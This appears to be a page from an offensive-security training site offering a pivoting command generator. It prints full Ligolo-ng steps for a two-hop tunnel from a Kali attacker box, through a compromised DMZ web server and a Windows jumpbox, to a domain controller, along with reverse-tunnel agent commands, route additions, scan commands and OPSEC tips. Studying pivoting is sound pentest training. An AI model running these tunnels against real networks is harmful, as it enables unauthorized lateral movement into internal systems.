The Academy is free // the war room is optional
DAEMONCORE // ACADEMY
OPERATIONAL NETWORKING // MULTI-HOP PIVOT & TUNNEL ARCHITECT

Pivoting & Tunneling Architect

SUPPORTED TUNNELS:LIGOLO-NG//CHISEL//OPENSSH//PORT RELAYS

Navigating segmented corporate enclaves, dual-homed jumpboxes, and air-gapped Active Directory domains is often the most error-prone phase of an operation. Configure your target topology across public DMZs, internal workstations, and crown jewel subnets. The architect immediately generates paired client/server commands, custom interface bindings, and ip route add routing entries pre-populated with your exact IP addresses.

LAYER SUPPORT
L3 (TUN) & L4/L7 (SOCKS)
VERIFIED PRESETS
DOUBLE-HOP AD & OT/SCADA
TOOL GENERATION
LIGOLO, CHISEL, SSH, NETSH
OPERATIONAL SECURITY
100% IN-BROWSER / ZERO LEAKS
TOPOLOGY PRESETS

Select a verified network architecture preset or configure custom multi-hop subnets.

NETWORK TOPOLOGY PIPELINE (2 PIVOT HOPS)
ORIGIN (KALI)

Attacker Box (Kali/C2)

User: kali

Interface:10.10.14.105 (tun0)
Click to editL3 TUN: 11601
HOP 1

Pivot 1: Linux Web DMZ

User: www-data

Facing Prev:198.51.100.25 (eth1)
Facing Next:172.16.50.15
Subnet:172.16.50.0/24
Click to editRelay: 8000
HOP 2

Pivot 2: Windows Jumpbox / Workstation

User: CORP\jdoe

Facing Prev:172.16.50.120 (Ethernet 2)
Facing Next:10.200.1.45
Subnet:10.200.1.0/24
Click to editRelay: 9000
TARGET ENDPOINT

Target: Primary Domain Controller (DC01)

Crown jewels: Windows Server 2022 hosting Active Directory Domain Services.

Facing Prev:10.200.1.10
Subnet:10.200.1.0/24
Click to editPorts: 88,135,389,4...
TUNNELING PROTOCOL & CLIENT/SERVER COMMANDS

Ligolo-ng (True Layer 3 TUN Routing)

Gold-standard modern pivoting. Establishes a virtual Layer 3 TUN interface on your attacker box. You interact with targets directly using native tools (nmap, smbclient, crackmapexec) without needing proxychains!

REQUIRED ROUTE TABLE ADDITION
sudo ip route add 172.16.50.0/24 dev ligolo
sudo ip route add 10.200.1.0/24 dev ligolo
STEP 01Attacker Terminal (Step 1: Setup Tun & Start Proxy)

Initializes the user-mode TUN adapter on the attacker box and launches the central Ligolo proxy daemon.

# Create TUN interface and bring it up
sudo ip tuntap add user $(whoami) mode tun ligolo
sudo ip link set ligolo up

# Run the Ligolo-ng proxy listener
./proxy -autocert -selfcert -laddr 0.0.0.0:11601
Flags:-autocert -selfcert (auto TLS)-laddr 0.0.0.0:11601
STEP 02Pivot 1 [Pivot 1: Linux Web DMZ] (Step 2: Connect Agent)

Connects reverse tunnel back to Attacker on port 11601. No administrative privileges required.

# Execute Ligolo agent
./agent -connect 10.10.14.105:11601 -ignore-cert
Flags:-ignore-cert (accepts self-signed TLS cert)
STEP 03Attacker Ligolo Console (Step 3: Activate Session 1)

In the Ligolo interactive proxy console, bind session 1 to the tun adapter.

ligolo-ng » session
# Select session 1
[1] » start
STEP 04Attacker Ligolo Console (Chain Hop 2 Redirect)

Opens a TCP listening port on Pivot 1: Linux Web DMZ that transparently forwards incoming agent connections through the tunnel back to the Attacker proxy!

[1] » listener_add --addr 0.0.0.0:11601 --to 127.0.0.1:11601 --tcp
STEP 05Pivot 2 [Pivot 2: Windows Jumpbox / Workstation] (Hop 2 Agent)

Connects to Pivot 1 on 172.16.50.15:11601, which forwards back into session 2.

# Connect chained agent back to previous pivot listener
.\agent.exe -connect 172.16.50.15:11601 -ignore-cert
STEP 06Attacker Ligolo Console (Activate Session 2)

Switches active routing to session 2 for deep subnet access.

ligolo-ng » session
# Select session 2
[2] » start
TUNNEL VERIFICATION COMMANDS
ping -c 3 10.200.1.10
nmap -sT -Pn -p 88,135,389,445,3268,3389 10.200.1.10
curl -sI http://10.200.1.10
OPSEC & TRADECRAFT PITFALLS
  • !SYN scans (nmap -sS) and OS detection (-O) can fail on TUN if raw sockets are not supported by the agent; always use TCP connect scans (nmap -sT -Pn).
  • !ICMP ping will only work if the remote target responds to ICMP and the agent host has raw socket privileges.
  • !Ligolo handles full TCP/UDP traffic, making Active Directory Kerberos and DNS resolution seamless.
PIVOTING ARCHITECTURE COMPARISON // TUN VS SOCKS5
Layer 3 TUN Pivoting (Ligolo-ng)GOLD STANDARD

Creates a virtual network adapter (ligolo) directly in your Linux kernel. Traffic is routed at IP packet level by adding standard kernel routes via sudo ip route add <subnet> dev ligolo.

Key Advantages:
Zero tool modification: Run nmap, impacket, crackmapexec natively.
Full UDP & Kerberos support without proxychains DNS mangling.
Up to 10x higher throughput & lower latency than SOCKS loops.
Layer 4/7 SOCKS5 Pivoting (Chisel / OpenSSH)APPLICATION LAYER

Establishes an application-level proxy listener on localhost (e.g. 127.0.0.1:1080). Tools must be wrapped in proxychains4 or natively support SOCKS5 proxy arguments.

Important Limitations & Caveats:
SYN scans (-sS) and OS detection (-O) fail (must use -sT -Pn).
Raw ICMP (ping) is unsupported over standard SOCKS4/5.
Must configure 'proxy_dns' in proxychains to avoid DNS leaks.
Combine with operational evasion and telemetry auditing: